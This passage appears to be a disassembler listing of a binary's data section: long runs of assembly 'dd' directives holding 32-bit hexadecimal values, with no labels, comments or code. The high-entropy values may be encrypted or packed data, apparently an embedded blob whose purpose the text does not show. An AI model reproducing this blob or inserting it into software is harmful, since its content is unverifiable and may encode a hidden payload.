2DCF3503h dd 0E94C1296h, 5AE6422Fh, 7A5F9068h, 74095FB7h, 40B4C48Fh dd 1F1EB99Eh, 2590342Ch, 0EE3C560Bh, 60F9D407h, 165FC4CFh dd 324E157Bh, 84BE3B84h, 0D25FF861h, 0CA881DB5h, 411223F3h dd 6F8D904h, 75C11890h, 35F212E6h, 67B2BE29h, 0A9DBF4C4h dd 5FC200F6h, 0C381459Eh, 9B60478h, 0FCD9011Ch, 6E90628h dd 981343D7h, 0F2355270h, 0B8BD087Eh, 7D2F29DEh, 3FB2A116h dd 0DE11A122h, 4AA7008Ch, 33E936DEh, 410D5855h, 2338A668h dd 0E9560547h, 0CEB5221Fh, 5D3A4D7Eh, 87613B92h, 34125248h dd 9A8DF02h, 3308077h, 0B0266B71h, 5855098Dh, 0D9575994h dd 31E0250Ah, 0F24EA653h, 0C70230ADh, 1C8403BFh, 8A07D76h dd 94A004B2h, 0B1C90AE1h, 2EE55DE6h, 0C6160B4Fh, 0B65D9F55h dd 6CF55823h, 0B828F984h, 74DDC495h, 67500513h, 0BA30AB17h dd 2FE70BEDh, 3CB2012Eh, 0E9510C01h, 0E6FBA5ACh, 5CD0C928h dd 4D2D0354h, 3FE02671h, 4ACD6A8Bh, 4AC31257h, 0B8AA4094h dd 49690468h, 0FBE0D10Ah, 0B591EC8h, 87E9925Ah, 835DDFE0h dd 0D1AD42FFh, 20A070FDh, 0BA74A110h, 14BD3717h, 0E2ED87EFh dd 1CD7A051h, 21DBA036h, 42199E0Ch, 4C18BE56h, 0D368B526h dd 0DE99953Ah, 6E4D0902h, 0C55EE042h, 62660AC4h, 39FEEF01h dd 325A0BFEh, 93F75B22h, 9EA65598h, 0BE1E2EAh, 0B18CAF0h dd 4001FFFCh, 7AF1017Ch, 1E02F6C7h, 0D590C108h, 2CE95D5Ch dd 0EB664227h, 0B68153E5h, 532DBD6Fh, 0B7C5443Fh, 4A8DEE3Ah dd 6AF9DAE7h, 0C09B4273h, 2676EF46h, 0BAC47D9h, 0A3DA98E9h dd 1C08314h, 0D0F700CFh, 0C26FD605h, 2C895B34h, 9525E9FFh dd 4FB2FE3Eh, 0FAAFAE04h, 0CA413031h, 5FAB357Ah, 0F48B1C06h dd 0EFE8AE39h, 0A85A3089h, 0A0219220h, 337FB5B5h, 930C1B96h dd 302A1AE1h, 2E25088Bh, 3CF856Dh, 0F42FCC00h, 0C12952B1h dd 65E95756h, 8249BFB2h, 553A39A6h, 16C7775Dh, 0D05A24A5h dd 535A2891h, 18875BC8h, 8DFF7FAh, 17622A68h, 540C7DFFh dd 0D482AF75h, 0BE0560B8h, 0F19988EBh, 25CB5E4Ch, 0B99887CBh dd 5FB130F2h, 44403F4Ch, 794B28EBh, 68FB209Dh, 0F0107097h dd 96195CE8h, 1D5BF584h, 8097B28Bh, 806AB76Ch, 0FAC1F1EAh dd 0E1F6C2D5h, 577CA523h, 0E70877C1h, 0BCC76A5Ch, 433B9620h dd 0E416E61h, 58486D82h, 34469E57h, 1FB9DE9h, 0B73794A7h dd 0C2D2EC7Fh, 9CBBA697h, 0FFD34E06h, 4E5AFD8Ch, 0A3323141h dd 7CCB4820h, 0BED03C12h, 0C1A0A0BFh, 0B8EF19Fh, 0E364A459h dd 6B105F95h, 0DAB2082h, 7BC670C1h, 9D30CFDh, 4E68B8F0h dd 0FC245B8Ah, 0F903F01Ah, 0B0298F52h, 167CBCEDh, 931883Bh dd 548C4157h, 699019B6h, 66E80D25h, 0F7CC201Fh, 0EAE4F4BDh dd 14F627ACh, 71C83812h, 5C5670C4h, 74209734h, 2E9D0502h dd 0D8299C7Dh, 0B4ED38E7h, 0E96C0C03h, 0CB287A3Bh, 7D17C8EAh dd 48C1291Ch, 80006ABDh, 0D0E01DF2h, 119E76F4h, 1D477D25h dd 0C6AFCF9Dh, 0E2681961h, 345B1D5Eh, 4E5E5980h, 0F7050C2h dd 494D929Fh, 509E316Fh, 6855E527h, 3D39E7E0h, 728912C3h dd 737FFF8Fh, 0C75D0905h, 0C347375h, 0C9EBAB11h, 8F1F820Bh dd 52295735h, 25B8EF83h, 34FA204Fh, 0BE0E820Bh, 0D34C2A6Ch dd 1F77851Bh, 2EE5CABBh, 0E2473266h, 0C4E16474h, 767AD6Ch dd 0D802A335h, 0E9C72404h, 5AB9323Ch, 4BE89410h, 0F0D3DEB2h dd 0C10B68DBh, 0DD6B6273h, 7503B500h, 0E1A03B27h, 7F0B4A61h dd 58D189C7h, 3FD70977h, 490B2FA8h, 2984A1D7h, 43B5DEBh dd 98E6C62h, 4B5A215Eh, 0C13B6DB2h, 3A08F67Ch, 0A0AC0E62h dd 0CE814EFFh, 2B481F77h, 0C4A01243h, 0D3E8FA2Ah, 5C0250B3h dd 44B03B19h, 2E79404Dh, 5D0B320Ch, 0B05A653Ch, 45956815h dd 0E2E610D8h, 8CDDAC51h, 70D7887Bh, 0B083B3Bh, 556F06F7h dd 5FFEBE00h, 981810BDh, 2CFAC53Fh, 63EF007Dh, 56BB5341h dd 3D98DA2Bh, 8CDCE33Dh, 0E4316EEh, 0AF6F3020h, 7952CBD2h dd 7A22B826h, 4124C10h, 175D8BFEh, 268327Bh, 11F800B8h dd 3635053Fh, 0C5CBF1Ah, 976020BFh, 0C998A778h, 4D77130Fh dd 726FDE58h, 2223A44Dh, 0E37759C4h, 0B75A8D22h, 9688A40h dd 4A465B9Eh, 5A38F809h, 0C0E5F947h, 0B76F13C2h, 62D0B776h dd 602E4720h, 46238453h, 70973FFBh, 0FBE1EDCh, 0B7BD40DFh dd 0E97E6F3Eh, 4B8CB949h, 125CBACCh, 0EB71E068h, 0C02D9529h dd 2763F210h, 0B315E58h, 9657D921h, 75E91850h, 16C7AB65h dd 1DFB1002h, 55FD295Dh, 0E9709174h, 3AF092A9h, 36A2D5Eh dd 416D0232h, 0CC607DF3h, 7A25946Fh, 0FD0E4254h, 0E927FA64h dd 7DE90996h, 0CAB7C4CCh, 20D95F11h, 27409D96h, 33475FBFh dd 0A6682736h, 0A473BBC8h, 1600A099h, 292F824Ah, 0ABCA2CAh dd 89429F08h, 0B9847667h, 0AD0CD830h, 94B5868h, 0F3012DA3h dd 92634B59h, 15E9C840h, 423AF69Fh, 0C05D5F5Dh, 3E7EB842h dd 0F00B607Ch, 1182535Eh, 0F45FFFE6h, 0D44CE4D7h, 0B5E2FF9Eh dd 810CD69Fh, 0ED0DB82Bh, 87C16A69h, 0C2F84803h, 62A8B656h dd 6D71465Fh, 56138526h, 2DED28FAh, 0BFEBE160h, 148D5661h dd 0B6E7C170h, 6027CF07h, 0E10129EAh, 60710551h, 0AAB2F1BFh dd 680D9897h, 646F4FD4h, 0BEE5820Ah, 0BD7EF1D5h, 870B8E25h dd 8E424B07h, 0D32CF359h, 0E962EFD1h, 7DD77A02h, 66A29362h dd 2C0571CCh, 13048AC9h, 3A96B131h, 8BE596F8h, 6AE90B58h dd 0E7DEC879h, 0E2549807h dd 40A2247Fh, 2CBA026Ch, 8AFFC97Ah, 8B1E493Ch, 0E033536Dh dd 6F7DD8BBh, 0F02D6102h, 0F0566A3Eh, 0E90780ABh, 0EF345A8Fh dd 29680B60h, 7D63012Ch, 18D22D59h, 390F200Ah, 2AFA7E5Eh dd 19848B8h, 9A2D7357h, 0FB60DA89h, 0B93AC04Bh, 3AA57130h dd 0E81083B7h, 0C2531FE7h, 9D58FC7h, 0CDF4456Bh, 586ED42Fh dd 68255759h, 52A37602h, 9FB44457h, 0D39782F0h, 42684399h dd 57EB215Ah, 91DB831h, 54665DEh, 7ED0AC4Bh, 12AF3962h dd 4D15F27h, 16229A1Eh, 62A181EAh, 0ABF7D058h, 0CA28E7EEh dd 7CE7E0C0h, 0B5B000C1h, 3224AC0Ch, 2CD019F6h, 9DF2362Eh dd 5844EF41h, 0E3AEF830h, 0B1511FB4h, 36B35382h, 25597828h dd 0F8444E13h, 0D36C8DB7h, 871B872Ah, 9CFDB94Fh, 0B7B4FCDCh dd 7E76A762h, 0B12E8C2h, 1C180DFh, 4822353Ah, 4E120D5Ah dd 0A2E2F89Dh, 0D098ABA3h, 58969C74h, 0A30E9C3h, 2DBA3C1Bh dd 2C911710h, 0C0351CC1h, 685307EAh, 159E3C5Bh, 3D2DD960h dd 6565506h, 0DB10A07Dh, 6EBC4F51h, 1205308Eh, 0B1E5FC22h dd 0BF004B72h, 55282B0Eh, 1409EE13h, 0F6089120h, 5126B93Ch dd 0B6F6A0Ch, 51E46CFAh, 108C8595h, 0FF215252h, 0D101382Fh dd 5BC73AE7h, 35451720h, 33409F1Fh, 0A124781Dh, 0D09842Ch dd 4BE88EDAh, 0C15D00DFh, 4A021203h, 41AAB91Ch, 82665908h dd 0A269FF18h, 5BF617Fh, 6807986Ah, 0A014DD2Bh, 0A1309405h dd 842BC0AAh, 604B5428h, 0FB7242FEh, 6B774B09h, 62DC9FEDh dd 4A167345h, 57B55E54h, 0F7E741ABh, 0FDF187D6h, 5F006E3Dh dd 6C7F36BDh, 0CD810229h, 28277310h, 0FB2EE0F5h, 233B276Ah dd 670777F4h, 0EDC00B29h, 1E176184h, 6A2468AFh, 77E91A57h dd 0B302103Eh, 0D64652BCh, 25A1D1BDh, 5F976A57h, 5CCC5D90h dd 2780AD58h, 5BB5E147h, 23AA873Ah, 0C4105AD7h, 800E5CAAh dd 0EB675EC3h, 0EB06B763h, 68C150D1h, 1E247FDCh, 0FD80AAFDh dd 0C94E9CD9h, 86965534h, 64AD56B7h, 9904AFFFh, 8ABB5452h dd 0C1AF9680h, 7F9974F4h, 0AFE47FBCh, 0CB5B99B6h, 11E69349h dd 0C0423714h, 54B2AFD3h, 0CDF8E909h, 49F49448h, 0A0895B80h dd 81FA11FFh, 0CB0E2052h, 0A0C3FB9h, 2CB09D5Eh, 0F7C0C1h dd 0E50C4F24h, 6197732Ch, 56020EACh, 7E3EF840h, 5B76570Bh dd 801A0043h, 9829D32Dh, 21012064h, 584798A0h, 814D2E07h dd 0BD376E3h, 0F530016Ah, 0E9204571h, 31FF3486h, 0CEA8D965h dd 94865AFh, 18F7D66Ch, 95D5CAAEh, 0EFBE9057h, 0DD881C51h dd 0B84BFB53h, 135939B8h, 0B5AECB2Ch, 0B163DA38h, 47FDABD4h dd 957E9093h, 55128D74h, 38D4C01h, 54590C02h, 0C59797FAh dd 0BEE2AA28h, 45C0B2A7h, 83EED972h, 61BEEB4Bh, 2BAC68E9h dd 0A658D5F3h, 0E2107484h, 0A5E0101Dh, 6CE8003h, 0A3EDEF6h dd 1BC7F673h, 9B226D05h, 0EC6B7F47h, 9525B8F3h, 490A55B9h dd 8975272Fh, 819D646h, 591358ADh, 0E27077AEh, 216A1CC1h dd 0A70975F0h, 87504E4Bh, 0A0223708h, 4E0F70A8h, 0AF37AE05h dd 527CBF92h, 0E5108C5h, 17035F4Bh, 676335Ah, 447CF544h dd 910D187Ah, 50A4C614h, 0A8DFA03Eh, 0B2019BBFh, 670A093Fh dd 722A022Eh, 79D82E0Bh, 2739DAB5h, 0DC3AD923h, 40F59CABh dd 80A277A7h, 5205F281h, 4A167E69h, 42076980h, 0EEDA48F7h dd 3050850Bh, 15696082h, 0D2A2C4C5h, 0E612082Dh, 0EC5E2A8Fh dd 841F09C6h, 895853B9h, 87085D69h, 3D928A87h, 0BA47E5Eh dd 0EDF7FD63h, 10D4ACFEh, 0C2800BD8h, 0C51D8A87h, 0D1ADCDACh dd 0BCD2CEAh, 0C8DA3B2Eh, 5080991h, 0AC64137Fh, 1723103Fh dd 5FF07F70h, 5C9D001Bh, 9804BF2Ch, 59E841E1h, 4BB23999h dd 0E540B7EDh, 0A8111696h, 0F516000Ah, 7D6B0EEAh, 203FFA97h dd 6813F49Dh, 0C3445C1Bh, 87176CF7h, 0AAD98243h, 25FACC55h dd 6172BA35h, 0AABEA4Bh, 8615FDCh, 0F70944BFh, 5915D6DEh dd 6EE26505h, 2DA8AAACh, 0C62BBE00h, 110B0579h, 0AC314F6Fh dd 0F20741A8h, 14071189h, 6C96A2C1h, 17529584h, 680BFCADh dd 4EDB41F5h, 84ADE91Eh, 44FA05FAh, 0FABF5733h, 81EF3E52h dd 6B090A73h, 0A1AB0594h, 46C890B7h, 25782F59h, 1068D755h dd 5080F82Ch, 698C0FB8h, 8E6B4FDEh, 6857F960h, 1613FA0Bh dd 0A0A3967Dh, 284BCE14h, 0CFE20CA5h, 0B8F2875Ah, 0DCC05A43h dd 19CB087Ch, 0A0DF31E8h, 53776F79h, 0D72625B2h, 5E9F411Ch dd 50E942AEh, 0D49034Ah, 0FD378AAh, 0E4A0E780h, 0BB007041h dd 7D773291h, 60EF295Fh, 0E9D83137h, 27FC0D24h, 0F94E4589h dd 0CAB0837Ah, 93B87004h, 0E92AC8FEh, 5B4FA999h, 9F2DAAECh dd 0D2F3180Eh, 53EAC242h, 0DAA27675h, 974696D7h, 56542268h dd 0A996A7B5h, 81C0E4E7h, 5012A4E6h, 0FEE8911h, 5627469Eh dd 4EF8CE80h, 0F6F80CA9h, 0B00EC338h, 85AD0C2Dh, 0C4925A51h dd 3501BED9h, 12A64594h, 2DC8D74h, 0E925CA27h, 0BA5DA064h dd 540B77D4h, 0D1F2C257h, 49E809ADh, 1A637A7Ch, 0CAE1030Fh dd 60C7527Ch, 3866EC06h, 0AC81FFDh, 0C66F0A99h, 5DD11290h dd 0D90539B3h, 2113B968h, 0BE2F2828h, 11C40522h, 41FF1BB8h dd 233DEAD9h, 0C02CB79h, 6F757EA2h, 0ECB26042h, 0A7A92F40h dd 0BB58D385h, 0B97FE53Dh, 0C6DE2AD2h, 5AEDD12Fh, 56E5A0E4h dd 251AB8EBh, 69E43F10h, 0C29726F0h, 56455DCAh, 0D6BD25B0h dd 233E0411h, 0DC3848E9h, 244C4BAh, 0EFF20180h, 685AD708h dd 0B113C95h, 0F13EE1E9h, 0F3502D2Ah, 505AB92h, 0DE813D4h dd 892DFFC2h, 9184DD07h, 0D131FF56h, 0A40D61D9h, 0DEADD756h dd 998240B2h, 87BAD28Ch, 8071029Dh, 42B9FD2Bh, 7A48E968h dd 236C1331h, 0F5948D3Dh, 0F6200B09h, 7ED5303h, 5FB00D4Dh dd 0B9FC38EAh, 67311A70h, 0D7F3E678h, 96C9FE07h, 215AA750h dd 0C1F928AAh, 20BC62D4h, 64EFEA57h, 0BBBE0A13h, 9529B9F0h dd 5922D45h, 10CEC4EFh, 6B20E7A1h, 0E2D76825h, 82CED5E9h dd 97055F06h, 2834A871h, 0C9072DF8h, 0CEFE021Ah, 14F4557Ah dd 97A59DE6h, 95B7B657h, 0D02D254Ch, 4E16DF8Ah, 0D24A6FFCh dd 5EBCC8AAh, 9D53B140h, 0FE6F64D4h, 95E739D8h, 2AE63D51h dd 0E262DC12h, 6DEAD672h, 6684EAE2h, 7A0BB1D4h, 0EF5E628Bh dd 92C6AC24h, 20B2B07Ah, 0C03F5C6Bh, 0C18005E1h, 81AB284Dh dd 895BF926h, 2F60112h, 36BD44h, 874BD3F7h, 0F756CB2Dh dd 16629DB3h, 58A0E920h, 76B90403h, 0EA3EAE1Bh, 0C0FB4657h dd 43969192h, 88E1254Eh, 1E109E20h, 53171323h, 21CE8C6h dd 0F758FD68h, 1653E0D0h, 404D017Ah, 0D50DCE05h, 9357D408h dd 29ECC548h, 572D9F7Bh, 0AE6BB405h, 2A6891A4h, 25D370B5h dd 0E2B94FFEh, 4B68F051h, 0D0ED19C0h, 9D201765h, 308F228h dd 914EE957h, 0DBB0541Dh, 57B9FBCBh, 20944C45h, 126984CEh dd 681B47F2h, 22E9ADB0h, 2AA0255Bh, 2FC5B504h, 84EC5F09h dd 6FA008F8h, 5F3D2B5Ah, 57859246h, 0BBD251A9h, 8EFA7B24h dd 0A18F4B65h, 0C2A9E917h, 0C5425973h, 0A91365F5h, 4FEE5A9h dd 311F574h, 94D78853h, 0BCAB2284h, 1E22DBFh, 0DAEE8068h dd 0BE71D4C2h, 2241B2A7h, 0C23C2034h, 39E7A8F2h, 65B91255h dd 8044AA2h, 0A0300E06h, 44121240h, 0A8081149h, 0A822DEDh dd 0F00B468Ah, 1FC3743Dh, 4B0ECF1Dh, 987789E6h, 0BF3047E0h dd 60E23FDCh, 0BC680156h, 30A67B7Ah, 6A41085Fh, 783A7EADh dd 9E51B353h, 6FD165D6h dd 9B3B53C0h, 25CE7C0Bh, 0A7461884h, 5768520Bh, 0B73F7A15h dd 0E8B5B672h, 0D6EFB63Eh, 2F21AF49h, 40CAC831h, 0B71F16ACh dd 0C878292h, 667D095Dh, 0D74B72Eh, 0D2B8F43Ch, 813BD741h dd 0D332180Ch, 20E06E20h, 5D4BCE28h, 0D90571C2h, 3BE98468h dd 0F23C9027h, 8D0F0131h, 0ABD7097Ch, 0F54D6813h, 0F3E613FCh dd 0F71400ECh, 316E8E3Fh, 0CE5FE9F8h, 0DEEBD516h, 4CAC4F8Bh dd 7F71E9E1h, 0F3ABC713h, 1A20D313h, 3330A1C0h, 5F4CFF0Fh dd 0C4AA2C9h, 0BE5A4B54h, 0AA2DE6CFh, 0BFB858E0h, 27FD3F1Eh dd 0E447638Bh, 685B3909h, 50326C2Fh, 7495C0FFh, 2F98270Ch dd 0C506A2D2h, 0D075E4Ch, 839012h, 9232F9EDh, 5D5A5588h dd 2ADCE2F8h, 443C1AC2h, 0C1B402Dh, 0F30F728h, 0AA255916h dd 0E3524505h, 0B2D806Bh, 3D4C68BDh, 0FBBC5EA2h, 0B77F88Bh dd 0D30CF4BCh, 0F5BEC000h, 0BA1EEF5Bh, 591F14A3h, 0CA04432Eh dd 424EFCh, 3C8509F2h, 242976F3h, 83E799E9h, 80C6285Ch dd 0ED414A92h, 0C60E724Dh, 4B325166h, 0F193D370h, 216D0D88h dd 0E2F8E84Ah, 64B8AEB4h, 0BB436E12h, 86020424h, 0DF834B71h dd 0FE6D9185h, 4149DE30h, 283B4EF6h, 2303BDA2h, 45661662h dd 0D5F7904Dh, 0FFE35FE9h, 81C49144h, 22465E09h, 3552FEF9h dd 1EE4E1B5h, 987291A5h, 0C35ACA20h, 0DC63C4D4h, 0B461ABDDh dd 0BC216DEDh, 417EB730h, 10E8CCC1h, 0F4FC2F0h, 0BCE49697h dd 0D266A8AAh, 0BF57D603h, 562B983Eh, 0D1682E4Fh, 1E986F3h dd 295A0A4Dh, 138438E4h, 80633827h, 39BB15D9h, 0E917FEFEh dd 9FB7AAD7h, 1DB5CA40h, 94EE882Dh, 13DE159h, 8CC3B11Dh dd 0DE06AFF1h, 0F15731E1h, 0ECB27AB9h, 5E237385h, 0EF60B0Bh dd 0F303E85Ah, 291BBE09h, 5397E9EEh, 140EB962h, 0E774075Dh dd 6CBF1D7Dh, 0BA530B1Bh, 450354Bh, 1D04C5C4h, 0F5011632h dd 250FCBBFh, 31E5022Ch, 198CD7F3h, 549FC57Fh, 685E028Eh dd 80F651ADh, 0CA2ABE63h, 7342E055h, 94B4856h, 610AC4Eh dd 39536A3Dh, 4348020Ch, 0EFE97818h, 5E5BFD70h, 0EC6ECACDh dd 689F9960h, 34F529D2h, 0DE91A18h, 19DC4E73h, 0D22AA402h dd 27045E17h, 0F61ED872h, 0DFBCDCA6h, 0DE12ADFDh, 55A3EF6Ah dd 70490288h, 2CE83A2Bh, 2AE1E90Ch, 20F38834h, 3A4F0757h dd 30F80841h, 802A485Ah, 0CEF2355Ah, 23A74225h, 9B21F13h dd 59870C3Dh, 312D8702h, 1E93BB07h, 0F3A3EFA9h, 30141D5Dh dd 0E7CCDEFDh, 9502D5ABh, 2D002E2Bh, 7AD2834Dh, 2A293826h dd 9877AB5Fh, 0F355B7D2h, 0A1ADBD81h, 0EFBA2505h, 1EFA52D5h dd 0A452EC4Ch, 8557240Eh, 0BF9C4A42h, 1CB43003h, 49F613FDh dd 5B0F8FC1h, 52276DEFh, 6FE4016Ch, 580D8620h, 8605466h dd 5E3DF781h, 3F3E05F2h, 0F8019F6Ah, 0E90E2D18h, 0CC414E1Bh dd 154FCDE0h, 1286BEADh, 5769E959h, 0A483405Fh, 516DCECDh dd 694BB943h, 20CF31B1h, 213168D7h, 0A54F396Ah, 0BC33BF2Bh dd 18583455h, 2CC21016h, 5BD7AC5Bh, 4C0046EAh, 55171A4Fh dd 8AAB4A68h, 8BA95E48h, 1F685381h, 1A72630h, 487A16E5h dd 0BAFE9BBh, 0D7A71BDEh, 1489FF30h, 0AA31FA80h, 88CA7C35h dd 96A5F455h, 82C7B62Fh, 7370255Dh, 653A0880h, 1457955h dd 0C4944F1h, 41C10A1h, 0EAB45FE9h, 76EAA140h, 4358BA7h dd 48DA3CB9h, 251FEFDBh, 5B8EC981h, 14301A8Ah, 0DE22047Dh dd 0E8D3E962h, 85A48FECh, 94FF75EEh, 605DEB72h, 84BC0DC9h dd 0EEC1350Fh, 0D6354C33h, 0E9F52C2Bh, 0D4C57C4Bh, 0EF1E40BAh dd 1F4B70BBh, 2E7C118h, 2E682B12h, 29765F5h, 6B780938h dd 0C10DE2FDh, 63CC1535h, 0F507845Bh, 438C0623h, 5838386Fh dd 8E18C109h, 3B31D612h, 44045FAh, 6B81BFBBh, 303EE828h dd 2DC768E5h, 0C2C6F195h, 0D3D75FF9h, 18E90666h, 7A9D54C9h dd 343209B8h, 88735CB8h, 2846BA00h, 4C310F51h, 174F2CD1h dd 0B605BA5Ch, 0B6820CA8h, 1200F814h, 505E6C0h, 82F5B184h dd 4BC2D054h, 81AC37C3h, 0C98C2C87h, 783FD10Dh, 2576106Bh dd 0E50134Fh, 7083AE5Fh, 1251295Ch, 4E33389Bh, 1AC192F2h dd 0FB514C4Eh, 0DD7859C0h, 6524FDA1h, 0E7E02BD7h, 0DC5381DCh dd 0D1FE50E7h, 282C3C49h, 0B80AD24Fh, 0DE612F6Dh, 0B6265F05h dd 0C7C2B084h, 235F7CC4h, 0B668848Ah, 0C4F2B82Ch, 3105186Ch dd 0DF1AACE8h, 0B32B304Ah, 7D5E16B2h, 0FDFA4478h, 0A524845Eh dd 5F84F0FBh, 99DA293Fh, 51E933Bh, 0D6C9E52Fh, 8BD3C85Fh dd 18EFBD3Ch, 0AC40E98Bh, 79C0BC78h, 39482A02h, 0AC059D9Eh dd 0ACDE04C6h, 37B30552h, 34F005BFh, 4DDE05D2h, 0DF980466h dd 0BECAFE4Fh, 0BA685804h, 450A34Ah, 4B053264h, 77C72F82h dd 983D7B73h, 5116E39Ch, 2AD57288h, 4B9859EFh, 0F137A95Ah dd 92B17E9h, 0DF663327h, 48F5BA1Eh, 82D12D4Bh, 56875053h dd 0E1A29697h, 0C6027468h, 0B88882B5h, 4CC2D5F1h, 5813FA55h dd 165A6040h, 0BD69FAE1h, 2094E53Bh, 4402212Ah, 75E974CAh dd 0EE57DD6h, 0F837C08h, 2D73C968h, 2AF761D9h, 0EBFAA94Ah dd 0F40FFCBh, 5816CB0h, 0EC9FE52Fh, 6FF1C801h, 0E95EFCACh dd 0D66E8BFEh, 0E1F42FF0h, 2502C5CBh, 27AD4775h, 25FCE6D7h dd 10F528FBh, 0DEF56E24h, 66C3C110h, 2A601868h, 44623488h dd 0A6CFD116h, 0A0AF4BF9h, 50BCB663h, 5F32F5B0h, 85AF505h dd 1B6033EEh, 525B05DCh, 55F121EAh, 6EA45146h, 0A6A2070Fh dd 203B7A9Ch, 0A0B7E41Ah, 0A57CEBB1h, 5A69FA72h, 3EF49D3Dh dd 0ED570E04h, 55272ACAh, 68CA3055h, 0BC394AE6h, 54E9C5CDh dd 40827E0h, 0C8FE5AF0h, 0B86EC4F6h, 2828323Fh, 4C8AA58Ah dd 52249EF8h, 5CDE0018h, 0C3BA7DA0h, 2FE19313h, 0B5EBECF4h dd 2C3135E8h, 20C76C9Fh, 56B57E39h, 685670E3h, 0A12AEECAh dd 0E26F208h, 19441CBBh, 0DBB0AE3Dh, 6268B1EAh, 61E08950h dd 8982F962h, 0B0C05DBFh, 0DAFBF101h, 0D1D309DFh, 97824937h dd 0FAA9CB9Fh, 3863E502h, 0EF845707h, 7EBB38C6h, 0A370265Dh dd 0CD018F77h, 417B10C5h, 4E0319EAh, 7E75F634h, 0C9EA405Fh dd 55FE07Fh, 41234D00h, 0B5E9D8E5h, 0BD00B156h, 0F8B6ACCh dd 156EC401h, 785713FDh, 0BAC085FFh, 295B8290h, 6012C3D1h dd 0B3D4D518h, 0D6BD4A10h, 2BE3ABD2h, 1310F584h, 0D620FAACh dd 68EB2932h, 0F5DCB20Bh, 681363F2h, 63C97904h, 0FA12097Ch dd 10CDA811h, 0B61D40E1h, 0E1BFD291h, 21BE3A79h, 680820B9h dd 0AD3E9E7Ch, 0FD83445Bh, 0F66B9D71h, 0E40112C5h, 76D541B5h dd 0D5A7C2EAh, 0A49FECE4h, 37926F91h, 43E4FF5Dh, 480A099Dh dd 0A4B92344h, 0AC55A1ABh, 8733FD2Dh, 1CA25BC8h, 7D9D5CF2h dd 7414F809h, 0A74B6225h, 0B8825589h, 8BC6DD03h, 782AB020h dd 0A6F5C4F6h, 2D5C0007h, 75DE44D7h, 560EC2Bh, 0D00119D4h dd 9B071405h, 69A76437h, 0EF45DB04h, 0E607B8F3h, 0F76C697Ch dd 9A6D978h, 4F209AE8h, 605B7E2Dh, 3E6847F3h, 454D5019h dd 0CDB8C44Fh, 0A502FC53h, 5C378704h, 6CE4E488h, 4AA9312h dd 22070805h, 64EEBF68h, 91B4EB65h, 3E4D28D3h, 6107826Eh dd 81001CD0h, 7F13E4C6h, 0FCE8F57Bh, 22D86882h, 5A49B2F7h dd 4DA4250Ch, 6961EED5h, 0CCF7F3FBh, 1C5950E8h, 5BEA47Ah dd 706EC0BBh, 312EB2Fh, 2C73A908h, 309402D4h, 60D76AC1h dd 9510CE0Eh, 7F7A6FD4h, 574503F1h, 81433090h, 35EF0AF3h dd 4AE0241h, 0C288BE1Bh dd 0CCF65314h, 99FE181h, 62802C21h, 7D860A65h, 594ECA31h dd 553E0h, 58C052E8h, 0D1BF32Dh, 7A72255h, 2D11CA07h, 0CA72AD76h dd 0A8B7F4BAh, 539840EBh, 0B0B738h, 3D045BF8h, 111B252h dd 0D8B15150h, 0CDECE180h, 3CE820F1h, 4BA10E49h, 5F7A31F0h dd 9337ED5Dh, 42D23887h, 6F82FC50h, 813A092Ch, 1805F571h dd 0DDF74B3Fh, 0C3A713FAh, 4F621085h, 0D5424E40h, 0A330A1A4h dd 0E031048h, 0A656661Ch, 73848939h, 305BD47Eh, 0E91EC320h dd 81921493h, 8B74DF2Ah, 97D28E20h, 57AF50D4h, 0E98A8915h dd 81AD9F74h, 32A721A7h, 0B75FF8ECh, 282400E8h, 0A0601A9Ch dd 9D02123Fh, 0CC82476h, 0CD2C5A17h, 27E91A56h, 0A7454DFh dd 7A03DF2Fh, 220B37BBh, 0FDE7885Ah, 0A04F5ACCh, 81F565BEh dd 31668A1Eh, 66E53A52h, 7AB90804h, 11056883h, 73E6FA85h dd 0DEDAE90Ch, 31485F8Ah, 0FECB9ED2h, 64B75C0Bh, 0B6525F6Fh dd 326E51B1h, 3BD4F173h, 0AFE8BF09h, 0FD1745DEh, 7404D8A4h dd 1142041h, 953DFE20h, 5298BFD8h, 0CBBFD24Bh, 0E2BFD372h dd 53450F0Eh, 36A87751h, 2D0F4132h, 2420F857h, 8EFFD4E9h dd 0B7E5D309h, 0E29C2314h, 2B3D3FE1h, 0FCA79906h, 7EF7FAAFh dd 8963163Bh, 856121F9h, 96B63C29h, 38095FBDh, 6D02F632h dd 0D45D8ECEh, 49F422Dh, 0A3BAD20Fh, 857590D3h, 8A569068h dd 27506008h, 2702AB78h, 7C6872FEh, 0CEECDF14h, 0A0168009h dd 42D4C26Fh, 0EA885A31h, 5052B56Bh, 5E38EA5Fh, 6DD0CBFh dd 2BF20F71h, 75170A04h, 982DFF7h, 8F700918h, 4964D48h dd 2574025Fh, 5110A4FBh, 0AD7E8BA2h, 0CA1457ADh, 6F3B680Eh dd 7D5F4BCBh, 5F605D89h, 9A1AE6F7h, 77BC53A4h, 0C5C20D8Ch dd 0AB789816h, 3CDC4D05h, 0A15A3CA6h, 88E86E03h, 7B65A9B7h dd 0EB0194ABh, 64DB0260h, 7EABAC40h, 1060D82h, 0A05A59CBh dd 52120B22h, 0A909ACBAh, 4CF0C14h, 9A96B742h, 0C9284B09h dd 2C81C033h, 0EFBF800Ah, 0EEC172F4h, 5508F4E7h, 0BDF12C3Eh dd 0CF56C204h, 81AF0959h, 3F973413h, 0BDEB9724h, 11F54E76h dd 0DCA2ECE3h, 209D2C20h, 0F58002A2h, 4CEEF838h, 6A3CF459h dd 5DCFC6B8h, 1210AC68h, 1E31AE37h, 6A06034Bh, 465BD078h dd 80747C13h, 8118A4EAh, 6555EE04h, 0FCEA066Bh, 7CDA9022h dd 0B05FC440h, 95395377h, 0E778F57Eh, 0C46CED4Bh, 0B8AF030Bh dd 0D2FAE55Eh, 80229A6h, 0F5004358h, 68A320FBh, 88821527h dd 4CA89EEEh, 807EE724h, 0F9515F7Ah, 0E4EBD01h, 0C87067EBh dd 0FB129DDAh, 5AA1280h, 61B03C0Ch, 4CB72FB2h, 0BD8B7F51h dd 0F45C87F4h, 0BE16BDC1h, 3392E917h, 91BEC8AAh, 2B785018h dd 2D7F1D0Ch, 2B220E38h, 5507EDF5h, 6614A362h, 0AD68BF48h dd 0A501856Ah, 0E9F8218Ah, 0A8530F76h, 0F040B9CAh, 0FCC38534h dd 2D4A4049h, 0ED6A5A01h, 58C2316Bh, 55D346Eh, 0AFAD40EAh dd 1BDD4E61h, 4021ED58h, 0D85801FDh, 0BBD9186Dh, 0B15AD711h dd 0F434095Eh, 0A4562C1Ah, 59311509h, 8F7ACCB4h, 125B1B40h dd 377A1468h, 62A08A9Ch, 290FD07Fh, 135D842Fh, 79C18002h dd 